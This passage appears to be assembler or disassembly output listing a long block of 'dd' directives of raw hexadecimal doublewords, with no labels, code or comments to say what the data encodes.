0E1AA0813h, 4D600D2h, 30F1EB7Bh, 85004CD9h dd 92A1B0CBh, 3DDD2089h, 0DC89FE0Eh, 0C01BC7E2h, 0CA4F51C8h dd 92A3E703h, 0C04102D3h, 0EE6461Bh, 60E29F5Fh, 25D94CA0h dd 9000FD2Bh, 0A8B34772h, 15EFAD7h, 8AD478B6h, 0F86B152Dh dd 910E5766h, 0A03D1906h, 613C32EDh, 0B11E05BBh, 819D9C77h dd 6014373Bh, 0B328D411h, 8800F0F0h, 5108FF9Eh, 45D95B5h dd 273C1184h, 0E7D48020h, 0C30560F7h, 73BD6E5Eh, 0B8120A83h dd 0EA758DFh, 0E0D04955h, 0A0881A20h, 651FB2D5h, 174097BFh dd 6D40086Ah, 3F1734Fh, 0A48A9584h, 57EF7165h, 2B680055h dd 0F3E88D49h, 0BF9D2906h, 129907D8h, 6E5209h, 53EAB084h dd 99074ABh, 9FCF8D00h, 0D6A3B322h, 0BA6E2CAFh, 3B4D001Dh dd 0F887C3A2h, 6D1BFFFCh dd 0C078C66Fh, 5C74D597h, 2B1F0B27h, 7AADC94Ah, 80A02884h dd 0DFC0BA40h, 0DCF68400h, 1ADD9D12h, 57A90695h, 1099453Fh dd 8FD41700h, 0D9E0BC3Ah, 2EC87B19h, 65ECB96h, 50F01858h dd 5C49B22Ah, 7BFCCF00h, 0EE57626Bh, 40F80048h, 88D187BBh dd 2209AB30h, 80B8AF8Fh, 4ED1184h, 0BCD351F9h, 16B020h dd 0F65194BDh, 0D12D8D35h, 2FFB0D00h, 0D48F2A9Ah, 40AD0083h dd 9E62F889h, 2B25E6ABh, 0D3FCC4h, 0B3E08690h, 0CA00674Bh dd 83121F7Bh, 8EDDB7h, 94A7A689h, 49621587h, 9AF4C90Ch dd 7622AC75h, 0D19218AEh, 0F013D063h, 0E31AA400h, 3FDDF5FEh dd 86701C91h, 0BB0B4157h, 0C03A199Fh, 1A70BA8Dh, 0D36E403h dd 9267C24Ah, 7FCF809Dh, 0ECA734h, 0BE580F0Ah, 211F0B9Ah dd 8030C63Eh, 0EBF55D90h, 397FBBD3h, 0F4876020h, 1081DAFCh dd 0E76A675Bh, 8C21B828h, 19C2441Ch, 91831B80h, 3DDA17h dd 9DFD0FADh, 4984247h, 99850B16h, 0A0F35500h, 0B0A89766h dd 34270E40h, 1C403B2Dh, 0E6AFF568h, 8718F700h, 788637E1h dd 0E7D600B8h, 9B93F13Eh, 7700BE57h, 0B0D1F449h, 4C0C3F0h dd 3FADE2E5h, 1BE4C1EBh, 0DFD2F024h, 1176FFB8h, 0F22A7707h dd 26E01E08h, 9C7FAAFh, 7B0F89CDh, 0A0531020h, 0C41F3B79h dd 8800138Eh, 0F146D1F8h, 0C2A62885h, 288700E8h, 31768652h dd 0A50EECEAh, 0A0A194BAh, 0F00AC5DAh, 271B0039h, 9F0B74C8h dd 0EE037305h, 0E4C748AEh, 3A361FCFh, 5C298153h, 20AFE3F4h dd 0C2003078h, 3FFBC04Dh, 0E09533h, 0C7F92947h, 48F217EDh dd 0D583900h, 54DF1A3Bh, 4A3F038Eh, 8B36F988h, 0D085A3D1h dd 0FF00385Ah, 53D81446h, 499A4A24h, 2B20A844h, 0FC914D09h dd 0E26C0008h, 2689FDBBh, 80F01151h, 0BD73787Ah, 0F90087FAh dd 0E98DB62Bh, 0B4664Dh, 774E09E4h, 2CD66A20h, 85CA592Eh dd 719D6C03h, 0B66BE02Ah, 0F3E8A0B8h, 4D25026Ah, 0AB75A4FEh dd 28E18C8h, 3D700478h, 0DCB95Ch, 2A4C33D1h, 0BA2BE2h dd 6B6A12A6h, 0F0511893h, 2C219700h, 84BF3BBCh, 5EAA0019h dd 0F92741C0h, 67549CDAh, 2313DCDCh, 0D8006E72h, 7A5278CAh dd 10BC148Eh, 6B80E89Dh, 0E9F88F35h, 0FC05AE79h, 8401FB7h dd 0FE248980h, 0B61A18B4h, 87277611h, 9098FC1Fh, 0AE402CDFh dd 78C092E9h, 595B0385h, 734736FDh, 0C7A955F9h, 8DF22DA0h dd 0EAFFE400h, 5D3BC4A7h, 4FB5045Ch, 0C03DCB5Ah, 12C20317h dd 81069FA0h, 0CCAA9C00h, 0A1991668h, 0D3CA3052h, 7441251Eh dd 0E983D00h, 7A75E4F5h, 0FBD63D5Ch, 380021EEh, 4431D422h dd 0F905E00h, 26130376h, 0B0740306h, 9BFF6552h, 86B6B7E0h dd 0E1A57200h, 0C2B203B5h, 7A2A77A4h, 7DC4006Dh, 2FA2FDD6h dd 6E01BE3Ch, 5BBFA14Fh, 0E8EC9B1Fh, 78210051h, 9FDB8674h dd 9F22C07h, 8AD03400h, 643514DAh, 6A6D0053h, 0C689286Fh dd 3F00D671h, 2357A14Ch, 371FA4h, 1B2BF3BDh, 0E8F9FE8Ch dd 0D1885E1Ch, 0B2C2C10Ch, 0E6BB75CBh, 0E1120031h, 0A284A7D6h dd 1C0A50FFh, 0ECC7C001h, 0EB00DB2Ch, 5428F31h, 0C19103E6h dd 52ADABE3h, 88828BF8h, 6C20F224h, 3A33BE04h, 3B68B4C0h dd 31600074h, 10F8E877h, 0A90308CEh, 6E993495h, 8068E0E2h dd 66AC0091h, 0D00B0A8Ah, 6A01436Fh, 0A273F941h, 60F41E27h dd 522D0038h, 0B82E8939h, 303F9B32h, 0AEFE14D6h, 8D8700CCh dd 0FDCD5622h, 782C006Eh, 0A7AD776Bh, 57072162h, 0A6C8E14Dh dd 0DCA1870Fh, 168E42E0h, 1BE7E8Ah, 63E39A73h, 8069AEBBh dd 42978720h, 0C027793h, 82C755Ch, 24E26518h, 8E8F2112h dd 0BD00F816h, 435BFB4Ah, 0BC90001Ah, 9DC68039h, 26008F1Eh dd 71416B6Dh, 78BAE497h, 4756002Ah, 853E9881h, 0FA072F2Dh dd 14A7BBFCh, 0D3E3A3C0h, 3D260083h, 40670421h, 100FA99h dd 8BF8C5C9h, 1244CD87h, 7D544Bh, 0E9A473C0h, 0E424E7B7h dd 81BF74A3h, 464DDFD9h, 582CEC86h, 8C002D48h, 261A4A87h dd 43392EC7h, 8D66819Fh, 90AB0BFEh, 161434h, 3D93E82Fh dd 3E196852h, 0A21F1C94h, 98CCAB44h, 64B5FC92h, 12C3E4D8h dd 1730D5h, 7057700h, 0A5489ED9h, 0F2A409E4h, 4B7080C6h dd 78A720B0h, 0C4A10182h, 0B6A8FA19h, 0FD6A3033h, 5ADE4500h dd 1BCE555h, 860A00F6h, 4C468B37h, 81006515h, 0C66A7B2Fh dd 114C712h, 44E8FC33h, 0E822D92Ah, 130055A3h, 0F0F9CFF5h dd 7C705E35h, 0CC9F0B2Dh, 848AC34Bh, 4611008Ch, 32629727h dd 5D6F5Ch, 0CA796E1Fh, 5CB971F0h, 58506CA3h, 34F70026h dd 796C4DEBh, 0FE00AC69h, 94F14C2Ah, 246E14Ah, 0BFA06837h dd 8CA21DD4h, 8E229D3Dh, 0B55CC8F7h, 1E0C0C6Dh, 0F510252Ch dd 5D0164B0h, 4A2A6561h, 0E85164A1h, 0E06281E2h, 9F4F1A01h dd 0D801339Dh, 1F02CAA1h, 0BBFA672Bh, 6378C012h, 1E2D0088h dd 6733DD8h, 6401220Eh, 8D4968DCh, 9B30F301h, 18C20081h dd 22193C44h, 0B8609795h, 0B93B5A38h, 296D00D6h, 8C1C2196h dd 0C1B41C1h, 0AFA84930h, 3509C090h, 54AC000Bh, 569C96Ah dd 0A007639Ch, 0D42E2A8Eh, 0E6F3E790h, 19AF0011h, 148B9F2Dh dd 4F490603h, 4B1A0B71h, 0BF5C8066h, 26BBEA18h, 0E8F8EEh dd 558FFA3h, 5D1FEC53h, 0BB1E69h, 0E0100A6Ch, 2CC2A1CEh dd 806CF346h, 9F48EC3Ch, 8C00EF6Ah, 36FF95EBh, 917EED0h dd 0DD88D869h, 6F6653C0h, 0FAFDEF00h, 3798151Eh, 71050EC7h dd 2020F990h, 5BB67F1Ch, 0E148700h, 9989E0FEh, 0A31D3EE3h dd 269BEE74h, 8080313Fh, 0A9FA9532h, 5C07F7EAh, 0F84C1B5Ah dd 0B488DA84h, 0C2B48BBh, 46C3FB1Ch, 102C8B5Bh, 19B09DF8h dd 146BA724h, 0F0CF6D04h, 88484A09h, 1B000EA9h, 420F5755h dd 26DCC0EFh, 338A307h, 0B4932A05h, 0CB3758Bh, 8FC49FB8h dd 99599200h, 88EA2979h, 866214ECh, 9300F466h, 50742761h dd 7E009BF6h, 1EDC41A6h, 0DD98B8h, 92DB15DFh, 0AB119330h dd 134E6F00h, 4FF0DC35h, 13D7EEFBh, 807DE873h, 0D202AEB8h dd 48091602h, 407CC7F4h, 0D56D0Ch, 0F5A6C33Fh, 83E92C42h dd 57A91305h, 0F30D9CD3h, 5ED82872h, 0F9E268h, 5706EA85h dd 71624BC6h, 18D19900h, 0F5239A9Dh, 0BC41009Ch, 9BCEF14Fh dd 0A8B81E67h, 6C4C8400h, 0ADF0A038h, 1B0F0039h, 0EE1A3D8h dd 14B40ADBh, 359F0380h, 0EAD8298h, 626B2F5Eh, 73C16D4Fh dd 3C3C3061h, 8F602CB4h, 5A49F800h, 0F0224DBh, 0B57C735Fh dd 14957540h, 44009FD2h, 7FB098Ah, 20B9A4Fh, 0CD57823Bh dd 0C0809B27h, 0FCC8AECh, 7055470h, 0E3AC5E13h, 2CF27EC4h dd 15F12FA3h, 0DA27D8F2h, 90C1A627h, 84D2D8h, 2F49E1F6h dd 0AC2D8D12h, 1CD95A26h, 0E4A19C00h, 0C4CA276h, 0ABCD5F33h dd 10000310h, 0BDC3B473h, 1AA2CC35h, 0E426C05h, 3B8282C0h dd 918A060Eh, 93A10018h, 9F1F46h, 38503512h, 0D78D416Ch dd 7E993201h, 0CAB76134h, 0CDB0F0h, 0FE7CADFAh, 2B5F03C8h dd 93ED5400h, 7512D7Ah, 0D34748Eh, 1257FA59h, 23EDD080h dd 0F95D7315h, 17F30FB8h, 7452000Fh, 0F0AD5E5h, 27F49ECh dd 59482140h, 2505F219h, 0C6AF99Ah, 5E81441h, 76C8C662h dd 28C8005Dh, 29782B3Dh, 0B49A60C3h, 45CCE30Eh, 86778F97h dd 181961D4h, 81A78FFBh, 1185327h, 6B08C21Fh, 18456109h dd 0E01EB3C1h, 11CE5DCAh, 953C0003h, 0F03008h, 2A696E29h dd 61FB46C5h, 3719E70Fh dd 5AC68026h, 0AFF254h, 0CE2A0131h, 0CE911F0h, 6C8FE500h dd 0C154C68Bh, 701E06ABh, 997EAEA5h, 9D6E950Bh, 456F010Bh dd 4A61BD7Fh, 0C184888Fh, 0A511FAC3h, 0CE2BB900h, 0AE5D7261h dd 0E9B7F296h, 0E59970h, 6C93C50Bh, 4D633B13h, 852CFE3Eh dd 1B9DF9AAh, 0ED006A87h, 138C1ABh, 68A89A90h, 0E0FCDEB1h dd 8105C7CDh, 0CA065E1h, 1DC70B0h, 5C9A0557h, 0D031EEFBh dd 0A93D7163h, 7E400C6h, 6E7C2FD1h, 17FD0C16h, 29A0E728h dd 0CB231D00h, 45F8A926h, 0EBB8C6B1h, 91A0C19Ch, 7400F2CDh dd 64C6C4B8h, 3DF1FBEh, 999EAAF6h, 810001A2h, 51B607BAh dd 39786B48h, 0D00448Fh, 632C3271h, 0A03B5F2Ah, 8D468FD5h dd 826700AAh, 76B5C0F2h, 778F7DFAh, 5C50FCDh, 14817F98h dd 0DC582093h, 29009694h, 0D2D3DD6Ch, 9735A8Fh, 0DEC39DD5h dd 0ED015020h, 0D60022E8h, 4385BA70h, 61E9F3h, 586327F5h dd 0FB928669h, 0A8ED171Fh, 2C4CB480h, 1B8143Ah, 310EBBD2h dd 8F168952h, 170F3B10h, 0E020871Bh, 60AED5EAh, 0DA8611FCh dd 9324D32Ah, 1F00D019h, 0B37A409Ch, 356000E0h, 1C0DCE6Eh dd 205CF6DCh, 671000B6h, 0A468FAFBh, 7E3F0056h, 74E433E1h dd 0DFF60F03h, 1E0026E8h, 7A80183Eh, 199F2FE8h, 846411Ah dd 1F2180C7h, 0DD7B8040h, 21021EF0h, 0AD5900E6h, 0F89BD6D4h dd 58655000h, 568AFAC9h, 0D12F006Bh, 52C1C03Dh, 0DE60C2F3h dd 0F009FE48h, 0AA230361h, 92253A27h, 21370830h, 0F4F071E5h dd 52590041h, 0EB0DF93Bh, 5D182310h, 19689AC1h, 2647A94h dd 0EAE49C7Eh, 0C3413B2Bh, 9360CA8Ch, 28D896E6h, 6F3ADEB9h dd 0AA0308CAh, 80F0F21Bh, 8200A3B6h, 70678E83h, 347BB9h dd 3C24540Ah, 6D275B3Ah, 949C172Ah, 2C026346h, 4FE85680h dd 9310C631h, 0DF0E8054h, 0E06F2F19h, 0FEDE96FAh, 9F051F3Ch dd 2C32D491h, 65475B06h, 0D7001033h, 3861F8C3h, 459FB9h dd 0E8DA2C59h, 444F8035h, 10687B00h, 98491624h, 0D5C8000Fh dd 0A3AB41FCh, 0F000728Eh, 80B0F33Ch, 0B7DB60h, 7FC492Dh dd 0CB25B50Bh, 0DE436100h, 0D9783D66h, 2F420054h, 0A5CCF922h dd 0A94862C5h, 0DCB7002Ch, 0D12C2985h, 6F3F0121h, 0C1CC612h dd 5E904026h, 91242B3Bh, 0F7035319h, 0A85046A4h, 7283C7Ch dd 0AB4FFD39h, 672C80BDh, 0C900D3B2h, 0C459E0E2h, 0C044C43h dd 0A942B8D2h, 0E00DA38h, 0F7B111CFh, 1CFF5745h, 13CC023h dd 4C442B37h, 397AE815h, 6F2C830Ch, 5112030h, 32619725h dd 0CC2038D9h, 1F252A46h, 40E5458h, 1D83BECEh, 8F9F3830h dd 3C9472D3h, 0CF0FDB95h, 289812E6h, 0C3003971h, 486DE818h dd 74F690C2h, 494A604Dh, 0F7F941D0h, 0AC358600h, 588FB0Eh dd 0EB313B6Eh, 3A205900h, 0D1A04799h, 30A58EFCh, 198051CEh dd 70EFBF77h, 0AC6D6903h, 3E02874Fh, 3D011120h, 3C76BB90h dd 85B54025h, 952765D1h, 0D5ECE0A5h, 97110155h, 36BE3127h dd 0F814D39Ah, 11CC0F3Dh, 0DB062C71h, 5839FCE4h, 6D7C3400h dd 4E9A1F70h, 2A252AABh, 420518E8h, 0EF90C1F0h, 0D3706903h dd 5985125h, 261164D9h, 0CC5E5Ah, 75720E2Eh, 953DEC49h dd 824332Dh, 3213A36h, 20D87280h, 0DB6C02D1h, 0E1B5E730h dd 79BD4EBh, 0FEEC34E0h, 5962854Ah, 0BC3DB0DCh, 22CF0389h dd 1B78970h, 8E8F9111h, 0F4D6AC0Fh, 46663165h, 0E1FF08h dd 0CD8FD78Bh, 0B855AFCFh, 92C49306h, 0A0410789h, 18C0F69h dd 87E246EAh, 0CCCFECCDh, 370FE662h, 4601F1Bh, 248938BEh dd 20108C02h, 0C05AD10Bh, 0AFC6A9C0h, 266890D6h, 142D955h dd 516CB686h, 524FE83Ch, 0DE4C4603h, 404937CEh, 892A1h dd 0D2F1D4A2h, 59FB645h, 212708CCh, 0A270006Ah, 0EABFB3CAh dd 6300F644h, 0B82E7890h, 486D383Ch, 0F1008073h, 0A4C26EFEh dd 30A43231h, 3FA27704h, 2C620AF1h, 0A27F7920h, 57D61DE7h dd 0F4FE01BDh, 86069988h, 215C4120h, 0EE1400E1h, 0A6C07DBDh dd 23006734h, 0B5D9A133h, 2A35A1Ch, 743F94C7h, 6C488975h dd 0B907C011h, 4DA6B6FCh, 118C1D69h, 0A5248077h, 28B0B47Dh dd 1EAE4989h, 1603FBDh, 0DB4A62A9h, 2423DFh, 0AA166BCBh dd 1CABA1E2h, 1BC0A8Dh, 887FB441h, 1B071704h, 0FC2FC840h dd 0CC2104E0h, 0FEF723ECh, 4240CE03h, 3B0800B6h, 3F79746Bh dd 60A5BE6Ah, 0F2634BC4h, 22576AA0h, 50209FAh, 2F957D31h dd 99D4427Eh, 390C4E2Ch, 240DD400h, 0BDC4BE71h, 8018D8B8h dd 286E9B3h, 0E80CC33Dh, 5C6526CDh, 0F9482480h, 431C05h dd 0DEA3BB71h, 0D0684686h, 8079A491h, 9E813019h, 43E36B00h dd 34077F8Ah, 0BC540FC3h, 28C160C0h, 405D221Dh, 0CCB6D264h dd 18914498h, 605C4708h, 496E720Bh, 0CA303446h, 72330CE1h dd 0D86F611Ch, 1D1000BBh, 21A0825Ch, 1050947h, 5420AEBEh dd 0F5178AB1h, 766EB400h, 63FBDF21h, 0FB8002Dh, 60C2AEDBh dd 0F8C8B75Dh, 8F68C075h, 0DE4CAC0Ch, 0B0F8E020h, 78C728Eh dd 7524A9F9h, 7197214Bh, 0F5A43128h, 4C82042Ch, 8F61307Eh dd 46AC7911h, 0F180FE88h, 21F88EA9h, 0D8170088h, 0A3DBF72Fh dd 98A88F49h, 4100538Dh, 2E0EC5B0h, 0A6EB8Bh, 874550FBh dd 18A87784h, 513A370Ah, 1F80A832h, 0EE4BA4FFh, 0F2E0003Eh dd 1234356Dh, 44002D7Dh, 8AD1E0Ch, 957B195h, 83451FCAh dd 88B71429h, 0A0465B8Fh, 8DF5F0E1h, 0AB630F64h, 17608E97h dd 0BD4005B4h, 4C3331C2h, 0E0D4A07Ch, 0FAEF353Eh, 46021ED8h dd 296D9861h, 86240391h, 708420B7h, 54C8A9BEh, 0B7700B4h dd 9254ADD6h, 2C91278Bh, 0F4087316h, 8A80B92Dh, 77FCE361h dd 22529A88h, 37323D0h, 0AC0E8E92h, 0FC96259Ah, 8FDD5600h dd 1F803EA0h, 0A8F40164h, 830E36EDh, 177983C4h, 80A4FE84h dd 0D2554C0Ah, 20F00881h, 0B9A279C3h, 30181AF1h, 0E615F88h dd 17769AA2h, 3CAC1F40h, 9FF6347Bh, 83EC1902h, 0C1B36AF8h dd 9451BB3Ch, 844BEB6Dh, 69E31300h, 0D91A9B84h, 0AB363E00h dd 0ED45F8E4h, 984A5C1Ch, 53BFE00Bh, 56414400h, 89001615h dd 67E9A0DAh, 12C94E7h, 83806387h, 60406EC0h, 6F0705EFh dd 19AD58Ah, 0A1442780h, 14D0001Dh, 866CCA0Bh, 5E0ED71Bh dd 82369Eh, 30D5D880h, 0FA40006Fh, 43CFE37Bh, 61000E07h dd 460865A8h, 10BF95h, 6445E67Eh, 507F0A85h, 0D6CE012Fh dd 0B50E00B9h, 62840991h, 3126AC3Bh, 6B63801Dh, 10B6FCh dd 697FD948h, 3367F5B0h, 0AB01F67Fh, 0CCAD87F0h, 0C080EA0Bh dd 0D142AAFBh, 3E002911h, 3CB03D95h, 0DD57DBh, 21E379B6h dd 7F77DF58h, 0F71B010Fh, 85DC01E0h, 408865E6h, 7F9C10F1h dd 874DA180h, 0A1D3B82Fh, 0DD41F580h, 409F74DCh, 0DE72C039h dd 286B5D0h, 0BC795400h, 12E026AFh, 1F1500E6h, 2EF97D78h dd 0EA07D529h, 0F021A962h, 449EBB20h, 208A0059h, 0E031AD4Eh dd 0A490FAABh, 0B911471Eh, 75DF1640h, 6796B8h, 0D0B5EC3Ah dd 0CC65DA93h, 91926D0Ah, 7805A0EEh, 0CE0003BDh, 0A9BC6B0Dh dd 4F85079Fh, 0E7134914h, 0B4D360B6h, 0BB7C4D65h, 0FBA06CFEh dd 66004A8Dh, 0C0AEB83Ah, 2BA0210h, 5978B14Bh, 124149FAh dd 8AA7C4CAh, 7AAB8B00h, 65C69AE3h, 71D30329h, 699FE974h dd 40284102h, 0A145086Fh, 991E86A0h, 43A23C0h, 0B897C9CEh dd 0E4D7C230h, 0A95EC080h, 0B9127A03h, 0FBB6E1Fh, 402CA1C2h dd 29037740h, 129324F7h dd 0E2C69076h, 21B9008Ch, 96785E82h, 0ED503AF9h, 0BB3C1880h dd 0F6998003h, 55A24F91h, 31FD2A78h, 0D9F52CA0h, 152A0127h dd 0EC2E0CE2h, 3E000E66h, 0D1585B9Bh, 565199Ah, 0EB6285ADh dd 55F20005h, 4D203249h, 0D34857E6h, 0ECB80020h, 0B471DD87h dd 0B5290192h, 754C52E3h, 0DACD809h, 40F40F2h, 80656B76h dd 6DA98BF7h, 7E771F96h, 46098079h, 32F65B18h, 9CEDEF0Bh dd 0FD6400ABh, 2A94721Fh, 0A0433Dh, 87F1F433h, 0CE4E6616h dd 0DFDAAD07h, 41F56469h, 879AC98h, 24496C72h, 12132C6h dd 672210Eh, 0F98D884Fh, 719803Fh, 0BFA39BA4h, 0E4ED395Ah dd 0C58FA280h, 5582C395h, 0D009C900h, 77908EFBh, 287901E8h dd 8B2CB945h, 79D82C2Ah, 0AB4F7104h, 24B07B91h, 213901F8h dd 998EF142h, 0ACD8641Eh, 5F18AD00h, 0CB5D2798h, 25F900E2h dd 7729B367h, 0D5183279h, 0CE20BB11h, 0A9E61415h, 0C1F3207Eh dd 0EB1922DAh, 983431E8h, 27C46FCh, 0AC0B8F6Bh, 10FE31B6h dd 38EB3F7h, 3C8F4B97h, 0A590CF0Bh, 0EB01314Ah, 7FA4ACF9h dd 0A4215046h, 0C90E024h, 223E9A06h, 4A70411h, 450E0075h dd 7A951DD8h, 0DC31FF00h, 0F68F1251h, 92721F9Eh, 94A9800Ch dd 24D86834h, 5A552903h, 11495631h, 11733A29h, 0C01196A4h dd 63207E14h, 8E64217h, 103639BDh, 7A0984ECh, 5941E248h dd 803358Dh, 856C7900h, 1E617340h, 0BEA803EAh, 64F0C15h dd 20B18DD8h, 0DA5BD700h, 39837692h, 0E2731ED8h, 0BBE580F1h dd 0C0DBFF7Eh, 7DA8075Eh, 0E8E82Ch, 1FF8FD05h, 3E7E2B77h dd 0CDD88F00h, 9D54E065h, 52D1376Ch, 0A32C140h, 22F46050h dd 0A3BCFE1Ch, 0E18D340Fh, 5E94071Eh, 6DD4F4h, 515FA584h dd 0CED6E105h, 9BD26E00h, 80F807B5h, 3209003Ah, 483BAD46h dd 750F7CEEh, 40CC155Fh, 0A4C14EE1h, 52C500AEh, 71EA42E5h dd 651EFCBBh, 3F9FD011h, 0E01A6AEh, 69C24744h, 2F58D0h dd 0E638624Bh, 9AB3E07h, 0C0B7C300h, 0A56E390Dh, 0CA491AAFh dd 92036031h, 6D802C7h, 81CEF44h, 0EC006FE5h, 6A7EBE56h dd 0D3CB1836h, 41176845h, 0D867F900h, 50153DD9h, 5F510FBCh dd 8E00F1BBh, 7DF4389Ch, 0C94C4A2Eh, 0F8DC2500h, 2AF2DDD0h dd 9C10D1h, 0B5B74B05h, 0A81F06ECh, 3015BD00h, 45E0F849h dd 0EEC300D2h, 0E72B0DA7h, 0BD004316h, 4EA6FE06h, 0F1FC58h dd 35238B1Fh, 5B079EC0h, 3CD9B100h, 982D4D5Ah, 0E7EE5C93h dd 2E18F900h, 0DF4F5376h, 4CBCCD00h, 0C94AD227h, 73EA3903h dd 42026F00h, 0C7109843h, 0CA33BD1Dh, 9D91BB40h, 115A5DFh dd 99B2A9E8h, 0FCFF521Ch, 7B002D0Bh, 8887B8DEh, 38D1AF60h dd 0DB00813Fh, 1E80F29Eh, 0BA006D64h, 19F67217h, 0E2BB28F9h dd 0E7EA003Ch, 2B8D7636h, 0FB00D67Eh, 5CFA1A22h, 63823Ah dd 154AD427h, 3E9B0CB9h, 62E32B07h, 0DA91CE9Dh, 13F81AA3h dd 0E1810030h, 0F888590Dh, 0B003340h, 55746236h, 4EC13Ch dd 7190499Bh, 0CED20561h, 0E379500h, 0ECC05207h, 41260013h dd 0BA6FBF86h, 8200CF08h, 73AF2E9Ch, 1C4323Ah, 0A75E12A9h dd 0FCAC9F4Ch, 2460D505h, 2DE61911h, 532A000Ah, 0B72EAFE9h dd 31004EA0h, 0E891EA41h, 7B1A34h, 0D8308304h, 92ECCAD3h dd 65C98100h, 94387521h, 1409005Fh, 4FC35893h, 8A00B060h dd 0B25CC8BFh, 0F1E31Dh, 75700A78h, 0EA76932Dh, 583E6007h dd 0F7801A9Dh, 268CDCC0h, 4C1C80h, 64E230DBh, 9000767Fh dd 87DA7D6Fh, 9B0FEEh, 0DDB72A27h, 205A186h, 0BDC6AC1Ch dd 0FD7E7440h, 0CEDD3C2h, 40AB5443h, 0B0C057E0h, 629C4B55h dd 6D9E0070h, 0F76CDA72h, 1900FD80h, 5B898502h, 73EE839Ch dd 3265004Eh, 93B9A6CAh, 0B4009013h, 0B099F41Fh, 395F124h dd 81825186h, 0EAB93C9Eh, 0DC32E1D3h, 0CC000542h, 31F6C0C9h dd 7AABA23h, 0E41DCB90h, 7A4C1B9h, 0AB2020F2h, 2A20027Ch dd 0CA6D1DE6h, 0C2DB0050h, 5BBC9A1Ch, 782E200h, 99B5AA74h dd 0DDF800ACh, 3C4540CBh, 201F59A9h, 49807AC3h, 6D81E1D0h dd 9B6901F9h, 91EBD4A0h, 0F05C0364h, 3CFA932Eh, 128247CEh dd 7576AE56h, 0F6E05540h, 0FDED1000h, 6F6B3C96h, 0EFE60071h dd 74CCEB37h, 47001CBEh, 512FA8C7h, 125FE08h, 11758070h dd 0F8DE53A9h, 0EB07D339h, 0FD7D6D49h, 9F8A2D10h, 0BABF00D1h dd 87A0758Eh, 0CFF2B013h, 1D373A00h, 0E2BE5104h, 71087071h dd 7E557B85h, 14831C6Ch, 5C64FA6h, 74B46480h, 54FAD6F8h dd 0A5C7F004h, 2180EE52h, 470BB31h, 72E1E45Fh, 48298617h dd 34DF1300h, 0A7BC7DECh, 105F0E0Bh, 6AC00F2Fh, 0FF736D2Eh dd 317A200h, 0D9C9E1Eh, 0C0E61D94h, 0FE4AC0B0h, 8AA4DB4Fh dd 0AA7BE400h, 0C07877Eh, 5D500097h, 0F08BB356h, 0A800AC4Fh dd 0FE2B4A16h, 26C73BE7h, 3E79427h, 9B84A98Dh, 2DB870D3h dd 0E92C4E4Dh, 3A0F863Eh, 6A92A48Fh, 205A9880h, 38FDE291h dd 0B6808DC8h, 196455D1h, 0D2075306h, 6BD88EB8h, 0CA7E6620h dd 36720074h, 142867C5h, 8A00EFF6h, 0B11D8F3Fh, 2941EB0h dd 0E1936178h, 4EC0FADAh, 5E01800Dh, 387244CBh, 2EEC1F1Eh dd 0C6500034h, 0D7CC85ADh, 6F008991h, 0ABB79A41h, 564223h dd 60319F3Eh, 0F7C0D4CBh, 1561F500h, 9C2A0155h, 0F05160A8h dd 57E86E3Fh, 45DB1800h, 220AAEBEh, 0B4091D5Eh, 9ED400FFh dd 7A3AEA64h, 1853AF04h, 0E7C03EE2h, 6CC49h, 20A2C8C9h dd 0E42F74ECh, 0D859D200h, 473DE809h, 0AB05008Ch, 285479EEh dd 20001A56h, 462E83B7h, 80F6B1h, 0E86A23DCh, 19C0CD27h dd 85D09400h, 0B34B8996h, 6FE30038h, 0A78E142Eh, 1B005073h dd 0E87DBBEFh, 1AC1A7Eh, 9FD9372Ch, 0F3AF0E0Bh, 1CF3D5B0h dd 697E68C3h, 1F7CD110h, 7711080h, 55601529h, 8140500h dd 1D066EE0h, 690A00BCh, 8AFE7D9Eh, 95013179h, 0B0A2EEA0h dd 8C30FF53h, 2C330076h, 0FE2A8A3Fh, 7CE68ED2h, 0F662F200h dd 0E684EF06h, 0E517CB2h, 34661BDFh, 0D540ECE1h, 0B88430FFh dd 0BDD82900h, 0BFDC9A6Fh, 915E00EEh, 0AF88E6C7h, 0A2391B6Ah dd 0F75A0048h, 0D5EFE231h, 438C0106h, 2F5C6EBBh, 76CC4023h dd 8524F8E5h, 74014078h, 31DF02B1h, 0C88E98DBh, 0F2840173h dd 5EF32C90h, 55DC30ABh, 58116200h, 76C98D44h, 2C0D004Eh dd 0D2AAA04Dh, 210E6B40h, 60B9FDAFh, 88625885h, 49E004Ah dd 0BAB13E3h, 0F7E43B38h, 87D71807h, 7D1028EFh, 0A0A21Eh dd 6E01BAECh, 139A6817h, 4F3D8F00h, 9C4E28FDh, 197D2CD9h dd 1C5D008Eh, 3AD11F31h, 26E6E818h, 38AA70D0h, 23805ACBh dd 5B56DC36h, 0BF0089FEh, 243FF4C5h, 0FBD288h, 5D94F684h dd 0F7E87B38h, 0E81D58h, 0D1E301A4h, 11A90B1h, 0BBED8175h dd 0C4B7FB36h, 5901C252h, 0DDE2AA21h, 82EC616Eh, 1E160006h dd 0FFABE45Bh, 5817B366h, 44001BBFh, 0B20163AAh, 1759001Fh dd 16922E8Fh, 0A414F57Ch, 0C05BDEh, 7BBCA651h, 68BEEFh dd 0B3F7A0EEh, 6603B97h, 789DB803h, 0E72F21C4h, 0F5852080h dd 0D87E94h, 0FD658D61h, 45EEF19Dh, 2F15D700h, 84C3FAE7h dd 0C5401655h, 0B6C030D2h, 2109CDACh, 801DF615h, 8D6937DCh dd 6B820063h, 0CC406613h, 2D00080Fh, 0FD7B9C22h, 2B02CBh dd 68D18581h, 0A57EBE06h, 0E565D402h, 4176D609h, 0E4F2C11Ch dd 916A2034h, 0F6E8FB2Fh, 202D0081h, 0E1964F2Fh, 0AD0E1900h dd 0CF7FC823h, 0F8E624B0h dd 0D61F8044h, 0C727CA10h, 0A000AFA2h, 0AA4B285Ah, 3992CF00h dd 7E6897EAh, 849F4DD3h, 0DA77A60Ch, 0AB007358h, 36C818CBh dd 584ED387h, 3E3DD743h, 609DAEh, 0E5272686h, 0E104117Dh dd 0E7EB107Fh, 0E064BCD2h, 23C94h, 0E9C6A092h, 0D5C9D05Ah dd 0B8731701h, 0B5298394h, 9199FCh, 0D6528997h, 0C8011D25h dd 7A570A00h, 0C06475D4h, 76EC711Fh, 179FC70h, 23D3B1B6h dd 70F5F819h, 9300F499h, 2C59402Bh, 61180h, 0FE87C8D6h dd 94BF554Dh, 9D886E00h, 0CE7FC382h, 0B0DD03F5h, 3C6DEBE4h dd 0D6968087h, 3912A565h, 0FE0053A0h, 0C4C32310h, 24B7005Ch dd 999BF612h, 617F7298h, 102DE830h, 563E48h, 0B21846C4h dd 0D74CE0F1h, 0E83DE00h, 36018093h, 6D590344h, 